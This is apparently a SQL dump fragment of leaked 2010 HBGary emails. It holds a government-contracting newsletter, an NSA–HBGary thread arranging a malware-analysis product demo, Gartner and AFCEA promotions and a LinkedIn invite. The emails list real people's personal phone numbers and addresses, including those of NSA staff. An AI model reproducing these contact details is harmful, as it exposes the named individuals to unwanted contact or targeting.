Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonApril 22,\r\n 2010Apollo 11\'s Neil Armstrong Breaks Silence: NASA on a\r\n \"Long Downhill Slide to Mediocrity\"\r\n According to an open letter\r\n from last Tuesday signed by Neil Armstrong, James Lovell and Eugene Cernan,\r\n President Obama\'s proposed overhaul of NASA is \"devastating\" to U.S. space\r\n exploration efforts.&nbsp; The letter echoed sentiments voiced last year by the\r\n Augustine Commission on Space Exploration, led by former Lockheed Martin CEO\r\n Norm Augustine.Click Here to Read More\r\n Gen. Alexander has an iPad, but is it Secure\r\n Against Cyber Attacks?During his recent hearing before the Senate Armed Services\r\n Committee, Lt. Gen. Keith\r\n Alexander, who has been nominated to head the new U.S. Cyber Command, told committee\r\n members that, as a technology lover, he has already purchased the new iPad\r\n from Apple and that it was \"wonderful.\" But is the iPad cyber\r\n secure?&nbsp;Click Here to Read\r\n MoreCommission on Wartime Contracting Declares War on Oversight,\r\n ContractorsThe Commission on Wartime Contracting (CWC) is hitting the warpath -\r\n taking the Army and government contractors to task on issues ranging from lack of\r\n oversight to \"risk of waste, fraud, abuse, and undermining of national\r\n objectives.\" However, the Commission is ignoring the important contributions\r\n contractors make to U.S. operations.Click Here to Read\r\n MoreGovCon Market Bright Spot in Dim Economy\r\n \r\n&nbsp;Rich Pineda of Dell Perot\r\n SystemsLast week, New York private equity firm Cerberus\r\n Capital Management acquired DynCorp\r\n International for $1.5 billion.&nbsp; After GTEC\'s successful IPO\r\n last year, as well as the high-profile buyouts of ACS, Perot\r\n Systems and EDS, it\r\n looks like Wall Street is betting on government contractors as a bright spot in an\r\n otherwise gloomy economic outlook. Click Here to Read\r\n MoreExecutiveBiz Launches New\r\n MagazineWe\r\n are proud to announce the debut of our new magazine, GovConExec. Our intent is to\r\n capture the spirit of leadership in the executive ranks of government contracting\r\n and the Senior Executive Services (SES). Our inaugural issues features BAE Systems\r\n North America\'s President and CEO Linda Hudson.  Click Here to\r\n SubscribeCSC\'s Mike Gaffney: Ready to take on public sector\r\n markets&nbsp;Jeremy Wensinger on Challenges, Emerging Markets, and\r\n Priorities The\r\n New New Internet Exclusive: Major General Steven Smith, \r\nDirector of Army Cyberspace Task\r\n ForceBeth Noveck on Open Government \r\nObama Nominates Dr. Berwick for \r\nAdministrator of CMS&nbsp;DynCorp Agrees to be Acquired by Cerberus for $1.5\r\n BillionPrivate investment firm Cerberus Capital Management\r\n will acquire DynCorp International (NYSE: DCP) for roughly $1.5 billion, according\r\n to a DynCorp press\r\n release.Click Here to Read\r\n More&nbsp;&nbsp;Lockheed Claims\r\n Deal from Army, Boeing Turns TwoGeneral\r\n Dynamics, Boeing Win Navy ContractsDell Federal\r\n Adds Jerry Garretson, Lon McPhailCobham Locks\r\n Down IP Mesh Systems Deal with Dept. of JusticeLockheed Martin\r\n Wins Multi-Million Dollar Contract ModificationGeneral Dynamics\r\n Starts Construction on USNS Medgar EversSAIC Inks Deal\r\n with Air ForceFulcrum IT\'s\r\n Jeff Handy on Recent Private Equity PartnershipBoeing,\r\n Raytheon, General Dynamics Claim Navy ContractsRazorsight\r\n Brings in Frank Culkin to Lead Client ServicesCACI, Lockheed,\r\n Honeywell Win Army DealsSAIC Honored as\r\n a \'Best Corporation for Veteran-Owned BusinessesEricsson\r\n Federal\'s Doug Smith on Naming David Brager CTOCSC Appoints\r\n Denise Peppard to Head Human ResourcesDell Services\'\r\n Lee Carrick and Richard Pineda on Services to USCISClick Here for\r\n More GovConwire\'The NSA is a\r\n national treasure\' says Sen. Lieberman During Alexander Confirmation\r\n HearingRep Rogers\r\n Concerned About Cuts to Cyber FundingMcAfee Honors\r\n FBI\'s Shawn Henry with Crime Fighter AwardBill Crowell and\r\n Alan Wade to Serve on CyberSecurity & Intelligence Advisory CouncilTo Shore Up\r\n Cyber Defense, USAF CENTCOM Looks to L-3 CommunicationsSpyware From the\r\n Postman?Click Here for\r\n More from The New New Internet Congressman\r\n Dicks: Don\'t Partner with EADSContractor\r\n Fatalities on the Rise in AfghanistanThe Five Most\r\n Grave Threats to Government Contracting in 2010Making the\r\n \'Switch\'&nbsp;Click Here for\r\n More from GovCon Executive\r\n FDA Launches New\r\n Transparency WebsiteGSA Awards\r\n USA.gov Video Contest WinnerNew Biometrics\r\n Software Allows Easy, Secure Management of Medical RecordsMaryland\r\n Colleges to Offer Health IT CurriculaAdmiral Mullen\r\n Makes Visit to Columbia UniversityMore Funding,\r\n Later Deadline for SBADOJ Launches\r\n Initiative to Curb Financial FraudBillion-Dollar\r\n Budget Request for 2012 Presidential Campaign, Cybersecurity,\'The trajectory\r\n is unclear\' on Climate Geoengineering says House Staffer&nbsp;Banning Civilian\r\n Courts to Prosecute Terrorists Would Harm National Security, Says Eric\r\n HolderClick Here for\r\n More from ExecutiveGov\r\n CSC\'s Mike Gaffney: Ready to take on \r\npublic sector marketsMike Gaffney comes to his role as president of CSC\'s North American\r\n Public Sector Civil and Health Services Group with a pretty long view &#8212;19\r\n years, at the company, to be exact. Most recently, Gaffney served as president of\r\n business development for the public sector unit, a vantage point that allowed him\r\n visibility into all markets and their relevance to federal, state, local, and\r\n commercial customers. Now, Gaffney\'s bringing that wide-angle view to bear in\r\n helping civil, state, local, and health markets address national priorities.\r\n Click Here to Read\r\n More\r\nJeremy Wensinger on Challenges, Emerging \r\nMarkets, and PrioritiesJeremy Wensinger is the president of Cobham Defense\r\n Systems. Prior to Cobham Defense Systems, Wensinger served as the president of\r\n Government Communications Systems at Harris Corporation. We had the opportunity to\r\n learn about some of the biggest challenges he is facing in business and how he\r\n will work to overcome them.&nbsp; Wensinger believes the defense market is\r\n changing, and he shared with us how he plans to be successful in this shifting\r\n environment. Click Here to Read\r\n MoreThe\r\n New New Internet Exclusive: Major General Steven Smith, Director of Army\r\n Cyberspace Task ForceThe New New\r\n Internet recently sat down with the Director of the Army Cyberspace Task Force\r\n Major General Steven Smith.&nbsp; He spoke about the implications of social media\r\n to cybersecurity, the problem of attribution in cyberspace, identity management\r\n and how the culture of professionalism within the Armed Services is suited to\r\n tackle the problem of cybersecurity. Click Here to Read\r\n MoreBeth Noveck on Open Government In a blog post from last week, Beth\r\n Noveck, Deputy Federal CTO for Open Government and head of Obama\'s Open Government\r\n Initiative, lauded the release of agency open government plans, writing\r\n \"innovation flourishes in an open environment, where we work collaboratively to\r\n share new ideas and ingenuity from a wide array of contributors for the betterment\r\n of our nation.\" Click Here to Read\r\n MoreObama Nominates Dr. Berwick for Administrator of\r\n CMSThe Centers for\r\n Medicare and Medicaid has not had a permanent director since 2006. Yesterday,\r\n April 19, 2010 President Obama nominated Dr. Donald Berwick to be the\r\n Administrator of the Centers for Medicare and Medicaid Services at the Department\r\n of Health and Human Services (CMS). Click Here to Read More Save The\r\n DateWhat: The Small and \r\nEmerging Contractors Advisory Forum (SECAF) Awards Gala.When: Thursday, April 29, \r\n2010Where:\r\n McLean Hilton, Tyson\'s Corner\r\n7920 Jones\r\n Branch DriveMcLean,\r\n Virginia&nbsp; 22102Tel:\r\n 1-703-847-5000&nbsp;&nbsp; Fax: 1-703-761-5100Why: The SECAF Awards Gala\r\n honors small and emerging government contractors and the players in the\r\n ecosystem that rely on small business.\r\nClick Here \r\nto Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',3971,'aaron_hbgary_com/3971.html'),(5591,'2010-04-22','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004064.M734256P14101Q446.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions related to your interest in HBGary REcon for malware analysis','Aaron,\r\n\r\nToday, anytime before 1:00.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 10:07 AM\r\nTo: Scott K. Brown\r\nSubject: Re: Introductions related to your interest in HBGary REcon for\r\nmalware analysis\r\n\r\nHi Scott,\r\n\r\nIs there a good time to give you a call about the Demo next week and the\r\nTMC?\r\n\r\nAaron\r\n\r\n\r\nOn Apr 22, 2010, at 3:54 AM, Scott K. Brown wrote:\r\n\r\n> Bob,\r\n> \r\n> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n> All three of us have the same use case, although NTOC may be more \r\n> interested in performing the detailed analysis on a more regular \r\n> basis.  We can discuss requirements for this effort off-line.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Tuesday, April 20, 2010 9:48 AM\r\n> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n> Subject: Introductions related to your interest in HBGary REcon for \r\n> malware analysis\r\n> \r\n> Nathaniel and Aaron,\r\n> \r\n> \r\n> \r\n> The purpose of this email is to introduce you to each other.  \r\n> Nathaniel, you are interested in HBGary\'s REcon for high volume malware\r\nruntime analysis.\r\n> Aaron, you have been communicating with ANO and NTOC/V22 about the \r\n> same subject.  So, there are 3 NSA organizations interested in \r\n> HBGary\'s high volume malware runtime analysis.\r\n> \r\n> \r\n> \r\n> To simplify lines of communications I\'ve requested that Aaron Barr be \r\n> the point man from our side.  Aaron is the CEO of HBGary Federal, a \r\n> sister organization that focuses on Government services work, \r\n> classified work and special projects.\r\n> \r\n> \r\n> \r\n> I will continue to be involved as the HBGary, Inc. representative.\r\n> \r\n> \r\n> \r\n> CONTACT INFO:\r\n> \r\n> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255 \r\n> /ngray@dewnet.ncsc.mil\r\n> \r\n> Aaron Barr / 719-510-8478 / aaron@hbgary.com\r\n> \r\n> \r\n> \r\n> Please let me know if you have any questions or need additional info.\r\n> \r\n> \r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> \r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> \r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7729,'aaron_hbgary_com/7729.html'),(5592,'2010-04-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004065.M402657P14101Q448.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','new panel 2 is up','new panel 2 is up on website.\r\n \r\n-Greg\r\n',16524,'aaron_hbgary_com/16524.html'),(5593,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004065.M617100P14101Q449.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Trae Stephens\" <tstephens@palantirtech.com>','NSA','Hey guys,\r\n\r\nI would like to talk to you next week about NSA.  Looks like we are on\r\na path to put our threat management center there.  ANO, V22, and blue\r\nteam are interested in it.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8195,'aaron_hbgary_com/8195.html'),(5594,'2010-04-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004065.M64037P14101Q447.eml','\"Bob Slapnik\" <bob@hbgary.com>,maria@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: Gartner May\'s Webinar for the Vendor Community- topics targeted to help you move your prospects through the pipeline!','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you guys interested in any\r\nof these topics?&nbsp; I can register you for them\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dea,Donna\r\n[mailto:Donna.Dea@gartner.com] \r\nSent: Thursday, April 22, 2010 6:27 AM\r\nTo: Dea,Donna\r\nSubject: Gartner May\'s Webinar for the Vendor Community- topics targeted\r\nto help you move your prospects through the pipeline!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Vendor Community,\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s our May Webinar programs. May&#8217;s agenda includes compelling\r\ntopics targeted to help you move your prospects through the pipeline. See below\r\nfor details, logistics and to register. Let me know if you like to have a call\r\nwith an analyst on any of the topics below. Topics include:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow to Write a Winning\r\nSales Proposal\r\n\r\nRichard Fouts\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhy does it matter? Articulating\r\nthe Value of Product Support\r\n\r\nRob Addy\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat You&nbsp;Need to&nbsp;Know\r\nto&nbsp;Claim&nbsp;Your&nbsp;Technology is &quot;Green&quot;\r\n\r\nMike Escherich\r\n\r\n&nbsp;\r\n\r\nThis\r\nmonth&#8217;s featured topic for Professional Services Companies:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation,\r\nCommunication, Technology: Market Opportunities in China\r\n\r\nTina T. Tang, Sandra Notardonato \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    May 2010\r\n    High-Tech Tuesday Series\r\n    &nbsp;\r\n    How to Write a Winning Sales Proposal\r\n    At the end of months, or even years of selling, comes the task\r\n    of writing the proposal, putting management on notice of a pending award.\r\n    There\'s little room for error, so having a proven, airtight technique in\r\n    place to get it done &#8212; and get it done well &#8212; is something every marketer\r\n    should have in place. If proposal templates are one of your key marketing\r\n    assets, you will undoubtedly get new ideas from this important webinar. \r\n    May\r\n    4\r\n    Richard\r\n    Fouts\r\n    \r\n    &nbsp;\r\n    Information, Communication, Technology: Market Opportunities\r\n    in China\r\n    In this webinar, we will address the ICT market forecast, the\r\n    impact of the government stimulus package on domestic demand, the\r\n    opportunity created by multinational corporations entering and competing in\r\n    the market, and China as an offshore delivery location.&nbsp; We also plan\r\n    to discuss the growing competitive landscape.\r\n    May\r\n    11\r\n    Tina\r\n    T. Tang, Sandra Notardonato \r\n    \r\n    &nbsp;\r\n    Why does it matter? Articulating the Value of Product\r\n    Support\r\n    Support was historically seen by both suppliers and users as\r\n    an inevitable by-product of purchases of IT, and only hit the spotlight\r\n    when things went wrong. As the costs of support grow, and customers look to\r\n    alternative sources of assistance such as peer-to-peer support, they become\r\n    less reliant on vendor support.&nbsp; It is therefore necessary for all\r\n    technology vendors and support providers to up their game and demonstrate\r\n    the business value that their support services offer if they are to satisfy\r\n    their customers and secure their support revenue streams for the\r\n    future.&nbsp; \r\n    May\r\n    18\r\n    Rob\r\n    Addy\r\n    \r\n    &nbsp;\r\n    What You&nbsp;Need to&nbsp;Know\r\n    to&nbsp;\r\n    Claim&nbsp;Your&nbsp;Technology is &quot;&nbsp;Green&quot;\r\n    Claims\r\n    of being a provider of &#8220;Green&#8221; products are difficult to substantiate as\r\n    more often than not customers are merely exposed to marketing hype. It can\r\n    be safely assumed that any ambiguity in the &#8220;Green positioning&#8221; will lead\r\n    to failure of the go-to-market strategy.&nbsp; Marketing via a\r\n    sustainability message needs to deliver a credible message of complete life\r\n    cycle solutions, not a strategy on energy savings for one product and waste\r\n    reduction on another.\r\n    May\r\n    25\r\n    Meike\r\n    Escherich\r\n    \r\n    &nbsp;\r\n    &nbsp;\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    High-Tech &amp; Telecom Programs\r\n    &nbsp;\r\n    Gartner is indispensable to business leaders pressured to grow\r\n    their business in a tough economic environment. \r\n    Our research and advice ensures clients are focused on the\r\n    right markets, growing customer demand, executing the right marketing\r\n    programs and ultimately making the best go-to-market decisions every day to\r\n    achieve growth. \r\n    &nbsp;\r\n    www.gartner.com/events\r\n    &nbsp;\r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nDonna Dea l Gartner l Washington\r\nStreet, San Francisco, CA &nbsp;l 1650 Technology Drive, San Jose, CA l USA l\r\no/c 415.734.1074 l eFax 866.285.7955 l donna.dea@gartner.com&nbsp;l\r\nwww.gartner.com\r\n\r\n&nbsp;\r\n\r\nGartner is BLOGGING: http://blogs.gartner.com/\r\n\r\n&nbsp;\r\n\r\nDECIDE WITH CONFIDENCE\r\n\r\n&nbsp;\r\n\r\nThis e-mail message, including any attachments, is for the sole use\r\nof the person to whom it has been sent, and may contain information that is\r\nconfidential or legally protected. If you are not the intended recipient or\r\nhave received this message in error, you are not authorized to copy,\r\ndistribute, or otherwise use this message or its attachments. Please notify the\r\nsender immediately by return e-mail and permanently delete the original\r\nmessage.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11034,'aaron_hbgary_com/11034.html'),(5595,'2010-04-22','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004065.M837147P14101Q450.eml','aaron@hbgary.com','AFCEA Offers Courses in \'Information Assurance & Security\' in May and June, 2010','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n               \r\n                   \r\n          \r\n\r\n&nbsp;\r\nAFCEA Offers Courses in \r\n\r\n  Information Assurance &amp; Security\r\n    May and June, 2010\r\n\r\n380 Special Topics in Information Security of Interest to the Military; May 19 - 20. \r\n  This course will provide detailed information about the numerous ways that the Internet can be used by terrorists, narcotraffickers and others; ways  U. S. officials can  use the Internet to communicate in a manner that will defeat hostile foreign efforts to intercept such communications, and ways  U. S. officials can negate hostile foreign computer forensics. \r\n \r\n\r\n\r\n382 (ISC)2 DoD CAP - Certification and Accreditation Professional; June 2 - 4.\r\nThe Certification and Accreditation Professional (CAP&reg;) credential is an objective measure of the knowledge, skills and abilities required for personnel involved in certifying and accrediting security of information systems. This credential applies to those responsible for formalizing processes used to assess risk and establish security requirements. Job functions such as authorization officials, system owners, information owners, information system security officers, and certifiers, as well as all senior system managers, apply.&nbsp; The CAP exam is offered directly through ISC2 for an additional fee. \r\n381 CompTIA Security+ (2008) Certification; June 7 - 11 (Security+ Exam will be June 11). \r\nThe skills and knowledge presented and taught in the Ultimate Knowledge Institute CompTIA Security+ course are based on the requirements of DoD. The Security+ certification is an internationally recognized validation of the technical knowledge required to establish a baseline for information technology practitioners.&nbsp; Examination will be included on-site Friday for an additional fee. \r\nOther courses offered in May - June: \r\n310 Principles of Communications and Networking;&nbsp; May 3 - 7. \r\n\r\n  261 Net-Centric Warfare:&nbsp; Interpretation, Technologies, and Implementation; May 11 -14. \r\n  760 TEMPEST Threat Management; May 19 -20. A secret clearance is required to attend this course.&nbsp;\r\n  515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers; May 26.\r\n  603 Data Mining Technologies and their Applications in Counter-terrorism; June 2 - 4. \r\n  650 Cyber Security - The Building Block of IT; June 15 - 18. \r\n  905    Post 9/11 Compliance and Security in the Global Supply Chain - Best Practices in&nbsp;\r\n   Leadership and Management; June 16 - 17.\r\n  902    Project Management Professional;&nbsp;June 21 - 25. \r\n  All courses will be held in Fairfax, VA unless otherwise noted. \r\n   &nbsp;&nbsp;&nbsp; _______________________________________________________________________\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nREGISTER NOW&nbsp; (FREE) \r\n  AFCEA Education Summit - May 10, 2010\r\n  BROADCAST LIVE \r\n  2:00 PM to 3:15 PM (EDT)\r\n   Convention Center, Virginia Beach, VA \r\n  see link below . . . \r\n  http://www.afcea.org/education/scholarships/chapters/2010EducationSummit.asp\r\n  &nbsp; ________________________________________________________________________\r\n   For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n        \r\n      Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Gloria Kirkland or Jill Malinchak, at 703-631-6137. \r\n  \r\n  \r\n  \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org \r\n    \r\n    \r\n\r\n	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',16386,'aaron_hbgary_com/16386.html'),(5596,'2010-04-22','\"Sean Bodmer\" <sbodmer@comcast.net>','/aaron@hbgary.com/new/1297004066.M288932P14101Q452.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Sean Bodmer has indicated you are a Colleague at NGIT - TASC:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Sean Bodmer\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from Sean Bodmer\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH SEAN BODMER BE A GOOD IDEA?\r\n  Sean Bodmer\'s connections could be useful to you After accepting Sean Bodmer\'s invitation, check Sean Bodmer\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',11344,'aaron_hbgary_com/11344.html'),(5597,'2010-04-22','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004066.M547342P14101Q453.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: FW: Gartner May\'s Webinar for the Vendor Community- topics 	targeted to help you move your prospects through the pipeline!','How to write a winning sales proposal would be helpful\r\nOn Thu, Apr 22, 2010 at 9:24 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAre you guys interested in any of these topics?  I can register you for them\r\n \r\n\r\n\r\nFrom: Dea,Donna [mailto:Donna.Dea@gartner.com] Sent: Thursday, April 22, 2010 6:27 AM\r\nTo: Dea,DonnaSubject: Gartner May&#39;s Webinar for the Vendor Community- topics targeted to help you move your prospects through the pipeline!\r\n \r\n\r\nHi Vendor Community,\r\n \r\nHere’s our May Webinar programs. May’s agenda includes compelling topics targeted to help you move your prospects through the pipeline. See below for details, logistics and to register. Let me know if you like to have a call with an analyst on any of the topics below. Topics include:\r\n\r\n \r\n·         How to Write a Winning Sales Proposal\r\n\r\nRichard Fouts\r\n·         Why does it matter? Articulating the Value of Product Support\r\n\r\nRob Addy\r\n·         What You Need to Know to Claim Your Technology is &quot;Green&quot;\r\n\r\nMike Escherich\r\n \r\nThis month’s featured topic for Professional Services Companies:\r\n \r\n·         Information, Communication, Technology: Market Opportunities in China\r\n\r\nTina T. Tang, Sandra Notardonato \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMay 2010High-Tech Tuesday Series\r\n \r\nHow to Write a Winning Sales Proposal\r\nAt the end of months, or even years of selling, comes the task of writing the proposal, putting management on notice of a pending award. There&#39;s little room for error, so having a proven, airtight technique in place to get it done — and get it done well — is something every marketer should have in place. If proposal templates are one of your key marketing assets, you will undoubtedly get new ideas from this important webinar. \r\n\r\nMay 4\r\nRichard Fouts\r\n\r\n\r\n \r\nInformation, Communication, Technology: Market Opportunities in China\r\nIn this webinar, we will address the ICT market forecast, the impact of the government stimulus package on domestic demand, the opportunity created by multinational corporations entering and competing in the market, and China as an offshore delivery location.  We also plan to discuss the growing competitive landscape.\r\n\r\nMay 11\r\nTina T. Tang, Sandra Notardonato \r\n\r\n\r\n \r\nWhy does it matter? Articulating the Value of Product Support\r\nSupport was historically seen by both suppliers and users as an inevitable by-product of purchases of IT, and only hit the spotlight when things went wrong. As the costs of support grow, and customers look to alternative sources of assistance such as peer-to-peer support, they become less reliant on vendor support.  It is therefore necessary for all technology vendors and support providers to up their game and demonstrate the business value that their support services offer if they are to satisfy their customers and secure their support revenue streams for the future.  \r\n\r\nMay 18\r\nRob Addy\r\n\r\n\r\n \r\nWhat You Need to Know to \r\nClaim Your Technology is &quot; Green&quot;\r\nClaims of being a provider of “Green” products are difficult to substantiate as more often than not customers are merely exposed to marketing hype. It can be safely assumed that any ambiguity in the “Green positioning” will lead to failure of the go-to-market strategy.  Marketing via a sustainability message needs to deliver a credible message of complete life cycle solutions, not a strategy on energy savings for one product and waste reduction on another.\r\n\r\nMay 25\r\nMeike Escherich\r\n\r\n\r\n \r\n \r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\nHigh-Tech &amp; Telecom Programs\r\n \r\nGartner is indispensable to business leaders pressured to grow their business in a tough economic environment. \r\nOur research and advice ensures clients are focused on the right markets, growing customer demand, executing the right marketing programs and ultimately making the best go-to-market decisions every day to achieve growth. \r\n\r\n \r\nwww.gartner.com/events\r\n \r\n\r\n \r\n \r\n \r\n\r\n \r\nRegards,\r\n \r\nDonna Dea l Gartner l Washington Street, San Francisco, CA  l 1650 Technology Drive, San Jose, CA l USA l o/c 415.734.1074 l eFax 866.285.7955 l donna.dea@gartner.com l www.gartner.com\r\n\r\n \r\nGartner is BLOGGING: http://blogs.gartner.com/\r\n\r\n \r\nDECIDE WITH CONFIDENCE\r\n \r\nThis e-mail message, including any attachments, is for the sole use of the person to whom it has been sent, and may contain information that is confidential or legally protected. If you are not the intended recipient or have received this message in error, you are not authorized to copy, distribute, or otherwise use this message or its attachments. Please notify the sender immediately by return e-mail and permanently delete the original message.\r\n\r\n\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',10819,'aaron_hbgary_com/10819.html'),(5598,'2010-04-22','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004066.M56184P14101Q451.eml','aaron@hbgary.com','Don\'t miss the USSTRATCOM Cyberspace Symposium, May 26-27','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n	\r\n		\r\n          USSTRATCOM Cyberspace Symposium\r\n          &quot;Ensuring Commanders\' Freedom of Action in Cyberspace&quot;\r\n          Qwest Center Omaha, Nebraska\r\n          May 26-27, 2010\r\n          www.afcea.org/events/stratcom \r\n            No federal endorsement of Armed Forces Communications Electronics Association International (AFCEA Intl) or any of its members or affiliates is intended or implied. \r\n          This event will provide an exciting venue for information exchange among leaders in Cyberspace. Fostering innovation and collaboration between the private sector and government to delve into tough cyber issues will be paramount for this symposium. Sessions will include perspectives of senior Department of Defense, U.S. government, industry, academia, and international participants. \r\n          Click here to register online.\r\n&nbsp;\r\nJust announced! Mr. Dan&nbsp;Hesse, Chief Executive Officer, Sprint Nextel Corporation, will speak at the USSTRATCOM Cyberspace Symposium on Thursday, May 27. \r\nFeatured Speakers: \r\n  \r\n\r\n  The Honorable Dave Heineman, Governor of Nebraska\r\n  The Honorable William J. Lynn, III, \r\n        Deputy Secretary of Defense\r\n  Gen Kevin P. Chilton, USAF,  Commander, \r\n    U.S. Strategic Command\r\n  The Honorable Greg Schaffer, Assistant Secretary, Office of Cybersecurity and Communications, \r\n    National Protection and Programs Directorate, \r\n    U.S. Department of Homeland Security\r\n  The Honorable Howard Schmidt, White House Cybersecurity Coordinator\r\n  \r\n&nbsp;\r\nDefense contractors and government agencies will showcase the latest products and solutions for cybersecurity, including: \r\n\r\n  \r\n    &#8226; Attack Attribution 